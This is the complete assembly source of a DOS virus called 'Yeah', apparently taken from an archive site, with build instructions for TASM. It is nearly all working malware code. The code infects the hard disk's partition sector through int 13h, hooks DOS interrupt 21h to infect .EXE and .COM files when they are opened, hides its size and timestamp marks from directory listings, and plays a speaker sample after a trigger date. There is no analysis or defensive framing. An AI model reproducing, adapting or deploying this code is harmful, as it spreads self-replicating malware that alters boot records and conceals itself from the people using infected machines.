home *** CD-ROM | disk | FTP | other *** search
- ;------------------------------------------------------------------------------
- ;
- ; Virus Name: Yeah
- ; Origin: Holland
- ; Eff Length: 4,096 bytes
- ; Type Code: PRhE - Parasitic Resident .EXE & partition table infector
- ;
- ;------------------------------------------------------------------------------
- ;
- ; This program is assembled with TASM V1.01 from Borland International
- ; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
- ;
- ; TASM stealth;
- ; LINK stealth,,stealth;
- ;
- ;------------------------------------------------------------------------------
- ;
- ; Interrupt vectors
- ;
- ;------------------------------------------------------------------------------
-
- iseg segment at 0
- org 8*4
- Int8o dw 0 ; interrupt vector 21h
- Int8s dw 0
-
- org 1ch*4
- Int1Co dw 0 ; interrupt vector 21h
- Int1Cs dw 0
-
- org 21h*4
- Int21o dw 0 ; interrupt vector 21h
- Int21s dw 0
-
- iseg ends
-
- cseg segment public 'code'
- assume cs:cseg,ds:cseg,es:cseg
-
- ;------------------------------------------------------------------------------
- ;
- ; Header of EXE-file
- ;
- ;------------------------------------------------------------------------------
-
- VirusSize equ 10d0h ; size of virus
- PrgSize equ 72h ; size of prg after the virus
-
- Signature dw 0 ; signature 'MZ'
- PartPage dw 0 ; size of partitial page
- PageCount dw 0 ; number of pages
- ReloCount dw 0 ; number of relocation items
- HeaderSize dw 0 ; size of header
- MinMem dw 0 ; minimum memory needed
- MaxMem dw 0 ; maximum memory needed
- ExeSS dw 0 ; initial SS
- ExeSP dw 0 ; initial SP
- CheckSum dw 0 ; unused ???
- ExeIP dw 0 ; initial IP
- ExeCS dw 0 ; initial CS
- ReloOffset dw 0 ; offset of relocationtable
- OverlayNr dw 0 ; number of overlay
-
- ComSize dw -1 ; Size of com-file (-1 for exe)
-
- ;------------------------------------------------------------------------------
- ;
- ; This procedure is called when starting from an exe-file
- ;
- ;------------------------------------------------------------------------------
-
- Main: pushf ; save flags
- sub sp,4 ; reserve space far cs:ip
- push ax ; save other registers
- push ds
- push es
- sti ; enable interrupts
- cmp cs:ComSize,-1 ; com or exe-file
- je ExeFile ; -1 : exe-file
- ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max
- mov bp,sp ; set cs:ip on stack for
- mov word ptr [bp+8],ds ; returning to the orginal
- mov word ptr [bp+6],100h ; program
- mov bp,ds ; bp : stacksegment
- mov ax,cs ; bx : begin of com-file
- add ax,(VirusSize/10h)
- mov bx,ax
- mov cx,0ff0h ; cx : size of data to move
- add ax,cx ; es : buffer for mover and
- mov es,ax ; infecting the bootsect.
- push cs ; ds : codesegment
- pop ds
- jmp short InfectBoot ; infect bootsector
- ExeFile: mov dx,cs ; Relocation
- add dx,(VirusSize/10h)
- mov ds,dx
- mov cx,ReloCount ; number of relocation items
- add dx,HeaderSize ; size of exe-header
- mov si,ReloOffset ; offset of 1st relocation item
- jcxz NoRelo
- NextRelo: lodsw ; offset
- mov di,ax
- lodsw ; segment
- add ax,dx
- mov es,ax
- mov ax,cs ; relocation factor
- add es:[di],ax
- loop NextRelo ; next relocation item
- NoRelo: mov bp,sp
- mov ax,cs ; set cs:ip on stack for
- add ax,ExeCS ; returning to the orginal
- mov [bp+8],ax ; program
- mov ax,ExeIP
- mov [bp+6],ax
- mov bp,cs ; bp : stacksegment
- add bp,ExeSS
- mov ax,PageCount ; calculate size of exe-file
- mov dx,PartPage ; in paragraphs
- add dx,-1
- sbb ax,0
- mov cl,4
- shr dx,cl
- inc dx
- inc cl
- shl ax,cl
- add dx,ax
- add dx,MinMem ; dx : size of exe-file
- mov cx,dx ; cx : size of code and data
- sub cx,HeaderSize
- mov bx,cs ; bx : start of code and data
- mov ds,bx
- add bx,(VirusSize/10h)
- add bx,dx
- mov es,bx ; es : buffer for mover and
- sub bx,cx ; infecting the bootsect.
- InfectBoot: push bx ; save bx and cx
- push cx
- mov ax,201h ; read bootsector from disk
- xor bx,bx
- mov cx,1
- mov dx,80h
- int 13h
- jc BootOk ; error ?
- mov si,offset BootSector ; compare with infected code
- xor di,di
- mov cx,1*BootSize
- cld
- repe cmpsb
- je BootOk ; equal ?
- mov di,1beh+8 ; check partitions, we don't
- mov cx,4 ; want to overwrite them
- NextPartition: cmp word ptr es:[di+2],0
- ja SectOk
- cmp word ptr es:[di],(VirusSize+1ffh)/200h+1
- ja SectOk
- cmp word ptr es:[di],0
- ja BootOk
- SectOk: add di,10h
- loop NextPartition
- mov si,offset BootSector ; exchange code from bootsector
- xor di,di ; with viral code
- mov cx,1*BootSize
- cld
- call Swapsb
- push es ; write virus to disk
- pop ds
- push cs
- pop es
- mov ax,(VirusSize+1ffh)/200h+300h
- mov cx,2
- int 13h
- push ds
- pop es
- push cs
- pop ds
- jc BootOk ; error ?
- mov ax,301h ; write bootsector to disk
- mov cx,1
- int 13h
- BootOk: pop cx ; restore bx and cx
- pop bx
- mov dx,cs ; dx = destenation segment
- xor di,di
- push es ; push seg:ofs of mover
- push di
- push cx ; save cx
- mov cx,1*MoverSize
- mov si,offset Mover
- cld ; copy mover-procedure
- rep movsb
- pop cx ; restore cx
- cli ; disable interrupts
- retf ; jump to mover
-
- Mover: mov ax,cx ; save cx
- mov ds,bx ; ds:si = source
- mov es,dx ; es:di = destenation
- xor si,si
- xor di,di
- mov cx,8h ; copy one paragraph
- rep movsw
- inc bx
- inc dx
- mov cx,ax ; restore cx
- loop Mover ; next paragraph
- mov ss,bp ; ss = new stacksegment
- sti ; enable interrupts
- pop es ; restore registers
- pop ds
- pop ax
- iret ; jump to program
-
- MoverSize equ ($-Mover)
-
- ;------------------------------------------------------------------------------
- ;
- ; Bootsector startup
- ;
- ;------------------------------------------------------------------------------
-
- Bootsector: cli ; disable interrupts
- xor bx,bx ; setup stack and ds
- mov ds,bx
- mov ss,bx
- mov sp,7c00h
- sti ; enable interrupts
- mov ax,ds:[413h] ; get size of base memory
- sub ax,(VirusSize+3ffh)/400h; subtract virussize
- mov ds:[413h],ax ; store new memory size
- mov cl,6 ; calculate segment
- shl ax,cl
- mov es,ax ; load virus in reserved mem
- mov ax,(VirusSize+1ffh)/200h+200h
- mov cx,2
- mov dx,80h
- int 13h
- mov bx,offset StartUp ; bx=offset startup
- push es ; jump to startup (es:bx)
- push bx
- retf
-
- BootSize equ ($-Bootsector) ; size of bootsector part
-
- StartUp: cli ; disable interrupts
- mov ax,offset Interrupt1C ; hack interrupt 1C
- xchg ax,ds:Int1Co
- mov cs:OldInt1Co,ax
- mov ax,cs
- xchg ax,ds:Int1Cs
- mov cs:OldInt1Cs,ax
- mov cs:OldInt21o,-1
- mov cs:OldInt21s,-1
- mov cs:Count,-1
- sti ; enable interrupts
- push cs ; ds=cs
- pop es
- mov si,7c00h ; di=7c00h (Bootsector)
- mov di,offset BootSector ; si=BootSector
- mov cx,1*BootSize ; bytes to copy
- cld ; copy forward
- call Swapsb ; restore orginal boot
- mov ax,7c00h ; offset bootsector
- push ds ; jump to bootsector
- push ax
- retf
-
- Interrupt8: push ax ; save registers
- push si
- push ds
- push cs
- pop ds
- mov si,SampleOffset ; get offset of next bit
- dec byte ptr ds:SampleBit
- test byte ptr ds:SampleBit,7
- jnz OfsOk
- inc si
- cmp si,offset SampleEnd ; end of sample ?
- jb OfsOk ; no, play bit
- mov al,34h ; reset int 8 frequency
- out 43h,al
- xor ax,ax
- out 40h,al
- out 40h,al
- mov ds,ax ; reset int 8 vector
- mov ax,cs:OldInt8o
- mov ds:Int8o,ax
- mov ax,cs:OldInt8s
- mov ds:Int8s,ax
- inc byte ptr cs:SampleFlag ; set sample ready flag
- jmp short ExitInt8 ; end of interrupt
- OfsOk: mov SampleOffset,si ; store offset
- rol byte ptr ds:[si],1 ; next bit
- mov ah,ds:[si] ; get bit value
- and ah,1
- shl ah,1
- in al,61h ; get value of io-port 61h
- and al,0fch ; reset last 2 bits
- or al,ah ; set bit 2 with sample value
- out 61h,al ; write to io-port 61h
- ExitInt8: mov al,20h ; end of interrupt signal
- out 20h,al
- pop ds ; restore registers
- pop si
- pop ax
- iret ; return to program
-
- Interrupt1C: push ds ; save registers
- push ax
- push bx
- xor ax,ax ; interrupts vectors
- mov ds,ax
- mov ax,ds:Int21o
- cmp cs:OldInt21o,ax
- jne Changed
- mov ax,ds:Int21s
- cmp cs:OldInt21s,ax
- je Equal
- Changed: mov ax,ds:Int21o
- mov cs:OldInt21o,ax
- mov ax,ds:Int21s
- mov cs:OldInt21s,ax
- mov cs:Count,182
- jmp short NotReady
- Equal: dec cs:Count
- jnz NotReady
- mov ax,cs:OldInt1Co ; restore vector 1C
- mov ds:Int1Co,ax ; (This interrupt)
- mov ax,cs:OldInt1Cs
- mov ds:Int1Cs,ax
- mov ax,offset Interrupt21 ; Hack interrupt 21
- xchg ax,ds:Int21o
- mov cs:OldInt21o,ax
- mov ax,cs
- xchg ax,ds:Int21s
- mov cs:OldInt21s,ax
- mov ax,8
- mov bx,offset Handle
- NextHandle: mov word ptr cs:[bx],0
- inc bx
- inc bx
- dec ax
- jnz NextHandle
- mov byte ptr cs:Active,-1
- NotReady: pop bx
- pop ax ; restore registers
- pop ds
- jmp cs:OldInt1C ; do orginal int 1C
-
- Swapsb: mov al,es:[di] ; exchange two memory bytes
- xchg al,ds:[si]
- stosb
- inc si
- loop Swapsb ; next byte
- ret ; return
-
- ;------------------------------------------------------------------------------
- ;
- ; Manipilated functions
- ;
- ;------------------------------------------------------------------------------
-
- Functions db 11h ; 1
- dw offset FindFCB
- db 12h ; 2
- dw offset FindFCB
- db 30h ; 3
- dw offset DosVersion
- db 3ch ; 4
- dw offset Open
- db 3dh ; 5
- dw offset Open
- db 3eh ; 6
- dw offset Close
- db 42h ; 7
- dw offset Seek
- db 45h ; 8
- dw offset Duplicate
- db 46h ; 9
- dw offset Redirect
- db 4eh ; 10
- dw offset Find
- db 4fh ; 11
- dw offset Find
- db 5bh ; 12
- dw offset Open
- db 6ch ; 13
- dw offset OpenCreate
-
- FunctionCount equ 13
-
- ;------------------------------------------------------------------------------
- ;
- ; The orginal interrupt 21h is redirected to this procedure
- ;
- ;------------------------------------------------------------------------------
-
- DosVersion: push ax
- push cx
- push dx
- push ds
- push cs
- pop ds
- cmp cs:Active,0
- je NotActive
- mov ah,2ah
- call DOS
- cmp ActiveYear,cx
- jb NotActive
- cmp ActiveDate,dx
- jb NotActive
- cli
- xor ax,ax
- mov ds,ax
- mov ax,offset Interrupt8
- xchg ax,ds:Int8o
- mov cs:OldInt8o,ax
- mov ax,cs
- xchg ax,ds:Int8s
- mov cs:OldInt8s,ax
- mov al,34h
- out 43h,al
- mov al,80h
- out 40h,al
- mov al,0
- out 40h,al
- push cs
- pop ds
- mov byte ptr SampleFlag,0
- mov byte ptr SampleBit,0
- mov word ptr SampleOffset,offset SampleData
- sti
- Delay: cmp byte ptr SampleFlag,0
- je Delay
- mov byte ptr Active,0
- NotActive: pop ds
- pop dx
- pop cx
- pop ax
- jmp Old21
-
- FindFCB: call DOS ; call orginal interrupt
- cmp al,0 ; error ?
- jne Ret1
- pushf ; save registers
- push ax
- push bx
- push es
- mov ah,2fh ; get DTA
- call DOS
- cmp byte ptr es:[bx],-1 ; extended fcb ?
- jne FCBOk
- add bx,8 ; yes, skip 8 bytes
- FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
- and al,1fh ; seconds
- cmp al,1fh ; 62 seconds ?
- jne FileOk ; no, file not infected
- sub word ptr es:[bx+1ch],VirusSize
- sbb word ptr es:[bx+1eh],0 ; adjust file-size
- jmp short Time
-
- Find: call DOS ; call orginal interrupt
- jc Ret1 ; error ?
- pushf ; save registers
- push ax
- push bx
- push es
- mov ah,2fh
- call DOS
- mov al,es:[bx+16h] ; get file-time (low byte)
- and al,1fh ; seconds
- cmp al,1fh ; 62 seconds ?
- jne FileOk ; no, file not infected
- sub word ptr es:[bx+1ah],VirusSize
- sbb word ptr es:[bx+1ch],0 ; change file-size
- Time: xor byte ptr es:[bx+16h],1fh; adjust file-time
- FileOk: pop es ; restore registers
- pop bx
- pop ax
- popf
- Ret1: retf 2 ; return
-
- Seek: or bx,bx ; bx=0 ?
- jz Old21 ; yes, do orginal interrupt
- push bx
- call FindHandle
- pop bx
- jc Old21
- Stealth: or al,al ; seek from top of file ?
- jnz Relative ; no, don't change cx:dx
- add dx,VirusSize ; change cx:dx
- adc cx,0
- Relative: call DOS ; Execute orginal int 21h
- jc Ret1 ; Error ?
- sub ax,VirusSize ; adjust dx:ax
- sbb dx,0
- jmp short Ret1 ; return
-
- Close: or bx,bx ; bx=0 ?
- je Old21 ; yes, do orginal interrupt
- push ax
- push cx
- push dx
- push si
- push ds
- push cs ; ds=cs
- pop ds
- push bx
- call FindHandle
- mov si,bx
- pop bx
- jc NotStealth
- mov word ptr ds:[si],0
- call UpdateHeader
- NotStealth: pop ds ; restore registers
- pop si
- pop dx
- pop cx
- pop ax
- Not2: jmp short Old21 ; continue with orginal int
-
- Interrupt21: push bx ; after an int 21h instruction
- push cx ; this procedure is started
- mov bx,offset Functions
- mov cx,FunctionCount
- NxtFn: cmp ah,cs:[bx] ; search function
- je FunctionTrap
- add bx,3
- loop NxtFn
- pop cx ; function not found
- pop bx
- Old21: jmp cs:OldInt21
-
- FunctionTrap: push bp ; function found, start viral
- mov bp,sp ; version of function
- mov bx,cs:[bx+1]
- xchg bx,[bp+4]
- mov cx,[bp+10]
- xchg cx,[bp+2]
- pop bp
- popf
- ret
-
- Duplicate: call DOS
- jc Error
- pushf
- push bx
- call FindHandle
- jc Ret3
- mov bx,ax
- call StoreHandle
- Ret3: pop bx
- popf
- jmp Ret2
-
- Redirect: call DOS
- jc Error
- pushf
- push bx
- push cx
- xchg bx,cx
- call FindHandle
- jc Ret4
- mov cs:[bx],cx
- Ret4: pop cx
- pop bx
- popf
- jmp Ret2
-
- OpenCreate: or al,al ; extended open/create function
- jne Old21 ; no, do orginal interrupt 21
- push dx ; save dx
- mov dx,si ; check extension of filename
- call CheckName
- pop dx ; retore dx
- jc Old21 ; exe or com-file?
- jmp short ExtensionOk ; yes, infect file or use
- ; stealth
-
- Open: call CheckName ; exe or com-file ?
- jc Old21 ; no, do orginal int 21
- ExtensionOk: call DOS ; do interrupt 21
- jnc NoError ; error ?
- Error: jmp Ret2 ; yes, return and do nothing
- NoError: pushf ; save registers
- push ax
- push bx
- push cx
- push dx
- push ds
- push cs
- pop ds
- mov bx,ax ; bx = file handle
- mov ax,4400h ; get device information
- call DOS
- jc PopRet ; error ?
- test dx,80h ; character device
- jnz PopRet ; yes, return and do nothing
- call EndOfFile ; get file size
- or ax,dx ; 0 ?
- jnz FileExists ; no, file already existed
- FileCreated: call HandleFree
- jc PopRet
- mov ah,2ah
- call DOS
- add dh,3
- cmp dh,12
- jbe DateOk
- inc cx
- sub dh,12
- DateOk: mov ActiveYear,cx
- mov ActiveDate,dx
- mov ah,40h ; write virus to file
- mov cx,VirusSize
- call Zero2
- jc NoVir ; error ? yes, return
- xor ax,cx ; entire virus written ?
- jnz NoVir ; no, return
- call StoreHandle
- jmp short PopRet ; return
- FileExists: call TopOfFile ; go to top of file
- call HandleFree
- jc PopRet ; no, do nothing
- call ReadHeader ; read exe-header
- jc NoVir ; error ?
- xor ax,cx ; entire header read
- jne NoVir ; no, not infected
- cmp Signature,5a4dh ; signature = 'MZ' ?
- jne NoVir ; no, not infected
- cmp HeaderSize,ax ; headersize = 0 ?
- jne NoVir ; no, not infected
- cmp CheckSum,0DEADh ; checksum = DEAD hex
- jne NoVir ; no, not infected
- call StoreHandle
- mov dx,VirusSize ; seek to end of virus
- jmp short Infected
- NoVir: xor dx,dx
- Infected: xor cx,cx ; go to end of virus if file
- mov ax,4200h ; is infected
- call DOS
- PopRet: pop ds ; restore registers
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- Ret2: retf 2 ; return
-
- ;------------------------------------------------------------------------------
-
- EndOfFile: mov ax,4202h ; go to end of file
- jmp short Zero1
-
- TopOfFile: mov ax,4200h ; go to top of file
- Zero1: xor cx,cx
- jmp short Zero2
-
- WriteHeader: mov ah,40h ; write exe-header to file
- jmp short Hdr
-
- ReadHeader: mov ah,3fh ; read exe-header from file
- Hdr: mov cx,1eh
- Zero2: xor dx,dx
-
- DOS: pushf ; call orginal interrupt
- call cs:OldInt21
- ret
-
- FindHandle: push ax
- push cx
- mov ax,bx
- mov bx,offset Handle
- mov cx,8
- NotFound: cmp ax,cs:[bx]
- je Found
- inc bx
- inc bx
- loop NotFound
- stc
- Found: pop cx
- pop ax
- ret
-
- HandleFree: push bx
- xor bx,bx
- call FindHandle
- pop bx
- ret
-
- StoreHandle: push bx
- push bx
- xor bx,bx
- call FindHandle
- pop cs:[bx]
- pop bx
- ret
-
- CheckName: push ax ; check for .exe or .com
- push cx ; save registers
- push si
- push di
- xor ah,ah ; point found = 0
- mov cx,100h ; max length filename = 100h
- mov si,dx ; si = start of filename
- cld
- NxtChr: lodsb ; get byte
- or al,al ; 0 ?
- je EndName ; yes, check extension
- cmp al,'\' ; \ ?
- je Slash ; yes, point found = 0
- cmp al,'.' ; . ?
- je Point ; yes, point found = 1
- loop NxtChr ; next character
- jmp short EndName ; check extension
- Slash: xor ah,ah ; point found = 0
- jmp NxtChr ; next character
- Point: inc ah ; point found = 1
- mov di,si ; di = start of extension
- jmp NxtChr ; next character
- EndName: cmp ah,1 ; point found = 0
- jne NotExe ; yes, not an exe-file
- mov si,di ; si = start of extension
- lodsw ; first 2 characters
- and ax,0dfdfh ; uppercase
- mov cx,ax
- lodsb ; 3rd character
- and al,0dfh ; uppercase
- cmp cx,04f43h ; extension = .com ?
- jne NotCom
- cmp al,04dh
- je ChkRet
- NotCom: cmp cx,05845h ; extension = .exe ?
- jne NotExe
- cmp al,045h
- je ChkRet
- NotExe: stc ; set carry flag
- ChkRet: pop di ; restore registers
- pop si
- pop cx
- pop ax
- ret ; return
-
- UpdateHeader: mov ax,4200h ; position read/write pointer
- xor cx,cx ; at the end of the virus
- mov dx,VirusSize
- call DOS
- call ReadHeader ; read orginal exe-header
- cmp Signature,5a4dh
- je InfectExe
- InfectCom: mov Signature,5a4dh
- mov ReloOffset,01ch
- mov OverlayNr,0
- mov ExeSS,(VirusSize-100h)/10h
- mov ExeSP,0fffeh
- call EndOfFile
- sub ax,VirusSize
- sbb dx,0
- mov ComSize,ax
- mov cx,10h
- div cx
- sub dx,1
- mov dx,0ff2h+20h
- sbb dx,ax
- mov MinMem,dx
- jmp WriteIt
- InfectExe: mov ComSize,-1
- mov ax,(VirusSize/10h)
- add ax,HeaderSize
- add ExeSS,ax
- add MinMem,20h
- add MaxMem,20h
- jnc MaxOk
- WriteIt: mov MaxMem,0ffffh
- MaxOk: mov ReloCount,0
- mov HeaderSize,0
- mov CheckSum,0DEADh
- mov ExeCS,0
- mov ExeIP,offset Main
- call EndOfFile
- mov cx,200h
- div cx
- mov PartPage,dx
- add dx,-1
- adc ax,0
- mov PageCount,ax
- call TopOfFile
- call WriteHeader ; write header at the top of
- jc InfErr ; the virus
- mov ax,5700h
- call DOS
- mov ax,5701h
- or cl,1fh
- call DOS
- InfErr: ret
-
- ;------------------------------------------------------------------------------
- ;
- ; Data to generate the 123 yeah sound
- ;
- ;------------------------------------------------------------------------------
-
- SampleData db 07dh,075h,05fh,0ffh,0ffh,0ffh,0ffh,0a0h,03fh,007h,0f8h,03ch,007h,0e0h,07fh,003h
- db 0c0h,0f8h,00fh,0c0h,0f0h,07ch,00fh,0c0h,0f8h,0f0h,01fh,081h,0ffh,081h,0fch,00ch
- db 07eh,007h,0f0h,071h,0f0h,03fh,007h,00fh,083h,0f0h,071h,0f8h,03fh,007h,01fh,003h
- db 0e0h,0e3h,0e0h,07ch,000h,0fch,00fh,080h,03fh,003h,0e0h,01fh,0c0h,0fch,007h,0f0h
- db 03fh,003h,0f8h,00fh,0c0h,0feh,003h,0f0h,07fh,001h,0f8h,03fh,0c0h,07eh,007h,0fch
- db 03fh,001h,0f8h,01eh,01fh,002h,03eh,00fh,0c0h,03fh,007h,0f0h,01fh,007h,0fch,00fh
- db 082h,0ffh,00fh,086h,00fh,038h,03eh,004h,03ch,01fh,008h,03eh,01fh,008h,03eh,00fh
- db 000h,07ch,00fh,080h,07ch,007h,0e0h,078h,0e1h,0f0h,0f0h,0e1h,0f0h,0f0h,0f0h,0f1h
- db 0e1h,0f0h,0e1h,0e1h,0f0h,0e3h,0c3h,0f0h,0cfh,007h,0f0h,01eh,00fh,0f0h,03eh,01eh
- db 078h,03ch,01ch,078h,038h,03ch,078h,078h,07ch,070h,0f0h,078h,0e1h,0c0h,070h,0c3h
- db 058h,061h,08eh,078h,0e3h,01ch,071h,0c6h,03ch,0e3h,08eh,030h,0e7h,01ch,071h,0c6h
- db 038h,0e1h,08eh,038h,0e3h,09ch,071h,0c7h,01ch,0f1h,0c7h,018h,0e3h,007h,038h,0e7h
- db 00fh,000h,0efh,00fh,001h,0e6h,00fh,0c1h,0e3h,01eh,003h,0e3h,08eh,0e1h,0dfh,087h
- db 0e1h,0c3h,0c6h,070h,07fh,003h,0f0h,073h,0f0h,03eh,007h,0ech,007h,0e0h,078h,070h
- db 07eh,00fh,00fh,007h,0c2h,063h,0e0h,07eh,008h,0f8h,01fh,080h,03eh,003h,0f0h,01fh
- db 080h,0fch,007h,0f0h,03fh,001h,0f8h,00fh,0c0h,0feh,003h,0f0h,01fh,0c0h,0f8h,01fh
- db 0e0h,07ch,01fh,0f0h,03eh,00fh,080h,01fh,00fh,0f0h,01fh,007h,0d0h,00fh,007h,0c3h
- db 00fh,007h,082h,00fh,007h,0c0h,00fh,007h,0c3h,00fh,007h,080h,00fh,007h,00ah,01fh
- db 00fh,08eh,01eh,01eh,00eh,03ch,01eh,01ch,03ch,03ch,018h,078h,07ch,018h,0f0h,078h
- db 0f1h,0f0h,0f0h,0e1h,0e1h,0e0h,0c3h,0c3h,0e1h,0c7h,083h,0c3h,08fh,00fh,003h,01eh
- db 01eh,00eh,01ch,03eh,01ch,078h,078h,038h,0f0h,0f0h,031h,0e1h,0ech,063h,0c3h,0c8h
- db 0c7h,087h,0f1h,08fh,00ch,0e3h,01eh,01bh,0c7h,01ch,027h,08eh,038h,047h,01ch,079h
- db 08eh,038h,071h,01eh,038h,0f2h,01ch,070h,0d6h,038h,0f1h,0c0h,038h,0f1h,0e0h,078h
- db 001h,0e4h,07dh,0f0h,0e0h,018h,018h,0f6h,03ch,088h,070h,01fh,0ech,078h,006h,004h
- db 03fh,087h,0f2h,01ch,083h,0fbh,01fh,0e1h,0f8h,007h,0f0h,0ffh,0c3h,0f8h,003h,0c0h
- db 0ffh,001h,0f8h,007h,080h,03fh,001h,0e0h,00ch,086h,07ch,063h,0c0h,01fh,060h,0fch
- db 023h,080h,038h,003h,0e0h,038h,0c0h,018h,0c7h,0f8h,0c7h,000h,000h,001h,0c7h,0b8h
- db 060h,008h,006h,01fh,0c7h,018h,002h,030h,00eh,03ch,01ch,000h,000h,001h,0f8h,01ch
- db 001h,087h,081h,0e1h,080h,0cch,006h,000h,0c6h,060h,000h,008h,007h,080h,000h,020h
- db 0e2h,000h,000h,020h,008h,008h,063h,0ech,004h,023h,024h,062h,08ch,0abh,052h,02dh
- db 0a8h,004h,09bh,034h,0a5h,0c6h,092h,0b4h,0a6h,099h,012h,0c1h,09dh,0a0h,02ch,0dbh
- db 034h,0cdh,0a8h,044h,098h,0f6h,024h,003h,07fh,0a0h,040h,01bh,0feh,000h,00bh,0ffh
- db 080h,001h,0ffh,0c0h,000h,0ffh,0f0h,000h,07fh,0f8h,000h,03fh,0f8h,000h,03fh,0f0h
- db 000h,03fh,0f8h,000h,03fh,0f0h,000h,07fh,0c0h,003h,0ffh,0c0h,003h,0ffh,000h,005h
- db 0feh,04eh,01dh,0e0h,031h,0ffh,000h,0c7h,0feh,000h,01fh,0feh,000h,03fh,0feh,000h
- db 03fh,0ffh,080h,03fh,0ffh,000h,047h,0f9h,082h,007h,0e7h,08ch,00fh,09fh,070h,03eh
- db 07fh,0c0h,071h,0bfh,000h,0e7h,07ch,003h,09fh,0f8h,00eh,03fh,0e0h,018h,0f7h,0c0h
- db 073h,0ffh,001h,0c7h,0fch,003h,00eh,0f8h,00eh,03fh,0e0h,018h,06fh,0c0h,070h,09fh
- db 080h,0e3h,07eh,003h,0c6h,0fch,007h,083h,0f8h,00eh,007h,0f0h,01ch,06fh,0c0h,078h
- db 01fh,0c0h,0f1h,07fh,001h,0e0h,0ffh,003h,0c1h,0feh,003h,083h,0fch,007h,007h,0f8h
- db 00fh,00fh,078h,00eh,00eh,0f8h,01eh,01eh,0f0h,01eh,03ch,0f0h,01ch,03dh,0e1h,05ch
- db 039h,0e1h,018h,07bh,0c2h,038h,073h,0c3h,038h,0f3h,086h,038h,0e7h,086h,070h,0e3h
- db 086h,070h,0e3h,084h,070h,0e3h,086h,070h,0e7h,08ch,070h,0e7h,08eh,070h,0e3h,086h
- db 071h,0c3h,086h,078h,0e3h,080h,079h,0e3h,082h,038h,0f1h,0c3h,01ch,0f9h,0c3h,01ch
- db 078h,0c1h,01eh,078h,0e1h,08fh,03ch,070h,08fh,03ch,030h,067h,08eh,038h,073h,086h
- db 018h,07bh,087h,08eh,03ch,0e3h,08fh,038h,060h,0e7h,08ch,038h,0f3h,087h,00eh,078h
- db 0c3h,01eh,070h,070h,0e7h,086h,021h,0e7h,007h,08ch,078h,00eh,03eh,0e0h,0f1h,0cfh
- db 000h,0f1h,0e7h,007h,01ch,078h,0c7h,01eh,078h,070h,0c7h,08eh,030h,067h,0c7h,08eh
- db 018h,0f3h,007h,070h,07ch,079h,0c1h,019h,033h,004h,0e3h,0cfh,003h,087h,03ch,070h
- db 0f1h,0c7h,00eh,03ch,0f1h,0e1h,087h,09ch,038h,061h,0e7h,08fh,01ch,03fh,087h,03ch
- db 00fh,0f3h,0c3h,086h,03ch,0f0h,018h,05fh,03eh,030h,0f1h,087h,0c6h,00fh,0f0h,0e3h
- db 0c7h,01fh,00eh,03ch,071h,087h,08eh,01fh,018h,079h,0c3h,08fh,01ch,01eh,018h,0f1h
- db 0e0h,007h,0cch,01eh,038h,071h,0e0h,0c7h,0c6h,01ch,07ch,0e0h,01ch,078h,07fh,010h
- db 07fh,0e0h,018h,0e1h,0cfh,018h,0e1h,0c0h,038h,0e7h,0c0h,01ch,079h,087h,038h,023h
- db 0ech,018h,0f1h,082h,078h,003h,0c6h,018h,07bh,0c1h,0f8h,001h,0cfh,018h,079h,0c1h
- db 00eh,038h,073h,0ddh,019h,0f1h,007h,03ch,070h,0e7h,008h,078h,0c3h,00eh,078h,023h
- db 08eh,018h,073h,0c7h,09eh,030h,0c3h,08eh,018h,0f1h,0c7h,00ch,070h,0e3h,08eh,03ch
- db 071h,0c3h,01ch,038h,0e1h,08fh,01ch,070h,0c7h,08eh,038h,061h,0c7h,01eh,038h,0e1h
- db 08fh,01ch,071h,0e7h,08ch,038h,0e3h,0c6h,01ch,078h,0e1h,00eh,01ch,078h,0c7h,08eh
- db 03ch,031h,0c3h,08fh,028h,070h,0e3h,086h,01ch,038h,0f1h,087h,00eh,038h,071h,0c3h
- db 08fh,01ch,078h,0e1h,0c3h,00eh,01ch,078h,0e1h,0c3h,08eh,01ch,078h,071h,0c1h,08fh
- db 08fh,0f8h,03dh,0f8h,018h,007h,0feh,002h,007h,0feh,006h,003h,0ffh,083h,0c1h,0ffh
- db 0c1h,081h,0f7h,0d1h,0c0h,0ffh,0c0h,0c1h,0f3h,0e1h,0c1h,0f7h,0e0h,0c1h,0e3h,0e1h
- db 0c1h,0e3h,0c1h,0c1h,0e3h,0c3h,083h,0c7h,083h,083h,0c7h,087h,007h,08fh,086h,00fh
- db 09eh,01ch,01eh,01ch,03ch,01ch,03ch,038h,078h,038h,0f0h,0f8h,0e0h,0f1h,0f1h,0c1h
- db 0e1h,0f3h,083h,087h,0deh,006h,00fh,03eh,01ch,03ch,07ch,038h,07ch,0f8h,060h,0ffh
- db 0c7h,083h,087h,087h,083h,00fh,00fh,087h,01fh,01fh,007h,09fh,01eh,007h,087h,00fh
- db 00fh,00fh,00fh,00eh,01eh,01eh,01ch,01eh,03eh,00ch,03ch,03eh,00ch,03ch,03eh,01ch
- db 01ch,07ch,03ch,038h,0f8h,078h,0f0h,0f0h,0f0h,0f1h,0f1h,0c1h,0f1h,0e3h,083h,0e1h
- db 0c0h,047h,0c7h,0c1h,08fh,00fh,086h,01eh,00fh,018h,078h,01ch,061h,0fch,071h,08eh
- db 071h,0c6h,031h,0c7h,030h,0c7h,018h,0e3h,08ch,0e3h,09eh,023h,08eh,078h,00eh,039h
- db 0c0h,078h,07fh,0e1h,0e0h,0f9h,0c3h,080h,0f3h,00fh,003h,0cch,03ch,0cfh,010h,073h
- db 01eh,0e0h,0c6h,07dh,007h,001h,0fch,004h,041h,0f3h,080h,0b1h,0eeh,040h,067h,01ch
- db 039h,09eh,03ch,0e6h,038h,003h,09ch,063h,00eh,079h,087h,00dh,0c7h,00ch,007h,08eh
- db 018h,00fh,09eh,006h,01fh,01fh,00ch,03eh,03eh,006h,03ch,01ch,01ch,07eh,03ch,038h
- db 03eh,038h,07ch,07ch,060h,070h,079h,081h,0e0h,0e2h,063h,0c1h,0c1h,0c3h,087h,0c7h
- db 087h,007h,03fh,00eh,00ch,0ceh,03eh,033h,038h,078h,07ch,0e0h,0e0h,0f9h,0e3h,083h
- db 0f1h,085h,0cfh,0e6h,007h,01fh,098h,01ch,07eh,020h,070h,0fch,031h,099h,0d8h,0c6h
- db 067h,063h,01bh,09dh,08ch,00eh,07bh,030h,079h,0e0h,080h,0fbh,0cch,003h,0e7h,030h
- db 00fh,09ch,0c0h,03eh,033h,000h,0fch,0ceh,003h,0f3h,098h,00dh,0ceh,060h,037h,039h
